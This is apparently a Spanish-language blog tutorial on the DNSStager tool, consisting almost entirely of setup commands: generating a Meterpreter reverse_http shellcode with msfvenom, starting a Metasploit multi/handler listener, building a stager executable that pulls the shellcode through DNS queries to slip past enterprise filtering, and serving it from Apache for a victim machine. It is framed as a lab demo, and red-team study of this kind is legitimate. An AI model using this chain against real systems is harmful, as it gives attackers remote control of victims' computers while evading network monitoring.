DNSSTAGER


Hacemos un demo con esta herramienta que mediante un cliente (Stager) ingresa e inyecta nuestro payload a un equipo victima, la peculiaridad es que lo hace vía consultas DNS.....



Esta herramienta esta diseñada para un entorno empresarial con un mayor filtro de trafico, pueden leer la entrada original del creador de la misma en:

https://shells.systems/unveiling-dnsstager-a-tool-to-hide-your-payload-in-dns/

y o mirar el repositorio de Github de la misma en el siguiente enlace:

https://github.com/mhaskar/DNSStager

Que hace esta herramienta? Como anunciábamos compila un programa cliente que al ser ejecutado en un equipo victima, descargara un payload en este caso un Shellcode, lo ejecuta en la memoria del mismo equipo con el fin de que obtengamos una Sesión en el mismo, este comportamiento o este tipo de clientes se denomina Stager. Cuando el payload o carga útil esta incluida en el cliente se denomina Stageless. En esta herramienta en particular lo que la diferencia es que la descarga del payload la hace vía DNS , que es un tipo de trafico no tan filtrado, lo que no quiere decir que no sea logeado o monitoreado.

Por mi parte les voy a detallar mi proceso de instalación de la misma, la que requiere tener un dominio funcional y realizar algunas configuraciones en el DNS, en mi caso utilice un dominio y un VPS de Linode(Nanode), pero creo que se puede reproducir en Red Local con los conocimientos de configuración adecuados. En caso de querer reproducirlo de la misma manera les dejo mi enlace de referencia de Linode, con mismo obtendrán un crédito de 100 Dolares a gastar en 60 días..

https://www.linode.com/?r=e22b4de5a0f73f8f6b7377b1e3ae91f4ba7c5044r

Les dejo el demo, si quieren hacer uso de la misma en sus laboratorios debajo del mismo encontraran las instrucciones:



Comandos utilizados y explicaciones

Luego de ingresar por SSH a nuestro VPS con un comando como:

ssh root@172.111.111.111

Actualizamos los repositorios

apt-get update

Instalamos PIP 3

apt install python3-pip

Instalamos Golang aunque en realidad no lo utilice en el demo:

wget https://golang.org/dl/go1.16.5.linux-amd64.tar.gz

m -rf /usr/local/go && tar -C /usr/local -xzf go1.16.5.linux-amd64.tar.gz

export PATH=$PATH:/usr/local/go/bin

Chequeamos la versión del GO instalada:

go version

Instalamos Apache para la descarga del cliente:

apt-get install apache2

Clonamos la herramienta:

git clone https://github.com/mhaskar/DNSStager

Ingresamos al directorio de la misma:

cd DNSStager/

Instalamos los requerimientos:

pip3 install -r requirements.txt

apt install mingw-w64

En este momento o antes deberíamos de realizar la configuración en el DNS del panel de Linode, como se detalla en el video. En nuestro equipo local o no dependiendo de que instalen en el VPS, generan el Shellcode en el caso de ser a través de Metasploit utilizan el mismo comando de la entrada anterior:

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=(nuestra dirección IP) LPORT=(nuestro puerto elegido) -f raw > payload

Si utilizan Cobal Strike se detalla el procedimiento en el video. Algo que en la entrada anterior no explicamos es que en el caso de ser Metasploit el Framework utilizado, debemos de ponernos a la espera de la conexión reversa, lo hacemos mediante los siguientes comandos:

abrimos Metasploit:msfconsole, si no somos ROOT debemos de anteponer Sudo: sudo msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_http

set LPORT 80

set RHOST su dirección IP

exploit -j

subimos nuestro payload a el VPS mediante SCP:

scp payload root@172.104.21.11:/root/payload.bin

volviendo el VPS ejecutamos el siguiente comando para Linux no resuelva las consultas DNS, lo haga DNSSTAGER:

service systemd-resolved stop

Corremos la herramienta con el siguiente comando que deben de adaptar a su situación:

./dnsstager.py --domain test.py3.me --payload x64/c/ipv6 --output /root/test.exe --prefix cdn --shellcode_path /root/payload.bin --sleep 0

Entrando en detalle del mismo:

Si ya no lo hicimos movemos el cliente a el directorio de Apache

mv test.exe var/www/html/

y para que podamos visualizar el Index de archivos debemos de eliminar o mover el archivo index.html:

rm /var/www/html/index.html

Si llegaron a este punto ya estarían en condiciones de ejecutar el cliente en un equipo victima de su laboratorio. Espero les sea de utilidad, de surgir dudas contactense.